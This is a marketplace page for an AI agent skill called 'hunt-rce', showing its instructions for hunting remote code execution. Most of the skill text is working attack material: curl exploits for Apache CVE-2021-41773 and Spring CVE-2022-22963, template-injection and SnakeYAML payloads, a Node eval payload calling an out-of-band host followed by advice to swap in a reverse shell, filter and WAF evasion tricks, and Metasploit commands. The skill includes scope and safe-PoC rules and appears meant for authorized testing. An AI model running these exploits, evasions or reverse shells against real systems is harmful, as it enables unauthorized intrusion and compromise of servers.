Skip to content
Agentmart
Submit a tool

hunt-rce

RCE hunting - template injection, YAML/XML deserialization, dependency confusion, Kubernetes surfaces, CVE-specific exploits (Apache CVE-2021-41773, Spring…

Skill by Encod3d-Sec

IndexedMIT★ 335
Write a review

Install

Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.

npx agentmarket install skill/encod3d-sec-hunt-rce

Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.

Get the weekly diff

The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.

We use your email only for this newsletter. Privacy

About

RCE hunting - template injection, YAML/XML deserialization, dependency confusion, Kubernetes surfaces, CVE-specific exploits (Apache CVE-2021-41773, Spring CVE-2022-22963). OOB-mandatory for blind cases. Wiki-first, FIND schema output.

Use cases: devops, security

No reviews yet. Installed it? Reviews come from verified installers only. How reviews work

Permissions

What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.

Tools
No tools found
Secrets
None asked for
Install scripts
None found

Network hosts it talks to 1

  • codeload.github.com · found in install command

Files it touches

  • ~/.claude/skills/hunt-rce

What's inside

Skill name
hunt-rce
Description
RCE hunting - template injection, YAML/XML deserialization, dependency confusion, Kubernetes surfaces, CVE-specific exploits (Apache CVE-2021-41773, Spring CVE-2022-22963). OOB-mandatory for blind cases. Wiki-first, FIND schema output.
License
MIT
Instructions
153 lines in SKILL.md · view on GitHub

Before installing

  • Instructions call the network

Files (1)

  • SKILL.md

SKILL.md (first lines)

# Hunt: Remote Code Execution

**Assumes `hunt-core`** for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

## Wiki

```
qmd_query "remote code execution command injection template injection deserialization CVE" via wiki-search MCP
```

Hub: [[web-moc]] (live web index). Primary page: [[os-command-injection]]. Payload arsenal: `wiki/payloads/command-injection.md`.
Anchors: [[ssti]], [[insecure-deserialization]].

## Attack surface signals

**Rank before probing.** Not every free-text field is equally likely to reach an interpreter:

- **Config / template editors** - Nomad, CI job specs, notification templates: user text is compiled, not just stored.
- **Import / render / export endpoints** - `?template=`, `?url=`, document generation, PDF/HTML renderers.
- **Admin and management consoles** - richer surface, weaker input handling, often the shortest path.
- **Deserialization sinks** - any endpoint eating a serialized blob (magic bytes, `!!` YAML tags, Java `AC ED`, PHP `O:`).
- **Version-pinned components** - a fingerprinted Apache 2.4.49 / Spring Cloud Function beats blind probing.

URL patterns: `/management-console/*`, `/admin/settings/*`, `/webhook/*`, `/render?template=`, `/import?url=`

Tech stack signals:
| Signal | RCE Vector |
|--------|-----------|
| Nomad config UI editable | Go text/template injection |
| SnakeYAML in classpath | `!!javax.script.ScriptEngineManager` |
| ingress-nginx annotations | Path field regex bypass |
| Spring Boot `*-routing-expression` header | SpEL injection |
| `X-GitHub-Enterprise-Version` | Nomad/collectd/syslog-ng config injection |

## Methodology
0. **Prefer a vetted module over a hand-rolled exploit.** For a known CVE/product, check Metasploit
   FIRST: `bash /root/vm.sh "msfconsole -q -x 'search <cve-or-product>; exit'"`. If a module exists,
   run it non-interactively (`use <mod>; set RHOSTS <ip>; set LHOST <vpn-ip>; run -z; sessions -l;
   exit`) rather than writing bespoke exploit code - faster, more reliable, and the exploit logic
   lives in the vetted module. Hand-roll only when no module fits.
1. Map execution contexts: template engines, shell commands, YAML parsers, file paths, package resolution
2. Enumerate admin/management interfaces: `/management-console`, `/admin`, `/_internal`, `/setup`
3. Template injection probe in every config/free-text field:
```
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
```
Look for `49` in response, logs, or OOB DNS callbacks.

3b. **Server-side eval/exec sink (Node/Python/Ruby `cmd`-style param):** an endpoint that returns a
FIXED message/200 for EVERY body may be `eval()`-ing a specific param and swallowing the error.
**Response-diff param-mining MISSES this** (`cmd=test` -> eval error -> same message), so mine with an
actual PAYLOAD + OOB, and test BOTH the query-string AND the body (the sink is often on ONE of them
only). Node example: `curl -sG -X POST --data-urlencode 'cmd=require("child_process").exec("curl http://OOB/x")' TARGET` -> a callback confirms the sink; then swap the payload for a reverse shell. (Seen on a Node/Express box: a `POST /api/<x>?cmd=` **query** param was eval'd server-side while the body/form `cmd` did nothing.)

4. YAML deserialization:
```yaml
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[!!java.net.URL ["http://YOUR_COLLAB/exploit.jar"]]]
]
```

5. Apache CVE-2021-41773/42013 (Apache 2.4.49/2.4.50):
```bash
# File read
curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# RCE (cgi-bin alias required)
curl --path-as-is -X POST \
  -d "echo Content-Type: text/plain; echo; id" \
  "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
```

6. Spring Cloud Function SpEL (CVE-2022-22963):
```bash
curl -X POST http://target:8080/functionRouter \
  -H "Content-Type: text/plain" \
  -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \
  --data "x"
```

7. Chain: low-severity misconfig (CSRF, traversal) + RCE primitive = critical
8. **Distill (when confirmed)** a reusable template bypass / new CVE, GENERIC, no client host:
`python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/os-command-injection.md`

**Safe-PoC first.** Every probe above runs `id` (or a bare OOB callback), never a destructive command. Only after a callback or command output confirms the sink do you swap in a reverse shell. Never run a state-changing command (delete, overwrite, service restart) to prove exec - `id` proves it and destroys nothing.

## Template Injection RCE Payloads
```python
# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# ERB (Ruby)
<%= `id` %>

# Freemarker
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}
```

## Evasion

When a probe is filtered rather than absent, the sink may still be reachable:

- **Command filters:** `$IFS` (or `${IFS}`) for blocked spaces, quote/backslash breaking (`c""url`, `w\get`), `base64 -d | sh`, wildcard globbing (`/???/??t`), `$(...)` / backticks, and env-var indirection.
- **Template keyword filters:** rebuild blocked names via attribute access and concatenation (Jinja `request|attr('application')...`, `'os'` assembled from chars) rather than the literal `os`/`popen`.
- **WAF on the body:** move the payload to the query string (or vice versa) - the eval sink in step 3b frequently lives on only one of them.

Marker discipline (`hunt-core`): use a unique 8+ char canary in reflected/SSTI probes, never `test`, and check the baseline for it before claiming reflection.

## Confirmation gate

**NOT confirmation:**
- a delayed response alone - load or a slow upstream, not proof of `sleep`.
- an error echoing your input - reflection is not execution.
- a `500` / stack trace - a parser choking is not code running.
- `{{7*7}}` returned literally, or a fixed `200` for every body (the eval-swallow case in 3b).
- `49` from `{{7*7}}` on its own - that is template evaluation, not yet an exec primitive.

From Encod3d-Sec/TORCH, MIT.

More from Encod3d-Sec/TORCH

Compare and alternatives

    Featured in

    Signals

    Stars
    335
    Forks
    49
    Open issues
    0
    Last commit (this folder)
    Aug 10, 2026 (2 months ago)

    From GitHub (fetched Oct 24, 2026).

    Details

    License
    MIT
    First seen
    Oct 24, 2026
    Last checked
    Oct 24, 2026

    More from Encod3d-Sec

    Cite this page

    hunt-rce skill. Agent Mart. https://agentmart.dev/skills/encod3d-sec-hunt-rce (last updated 2026-10-24)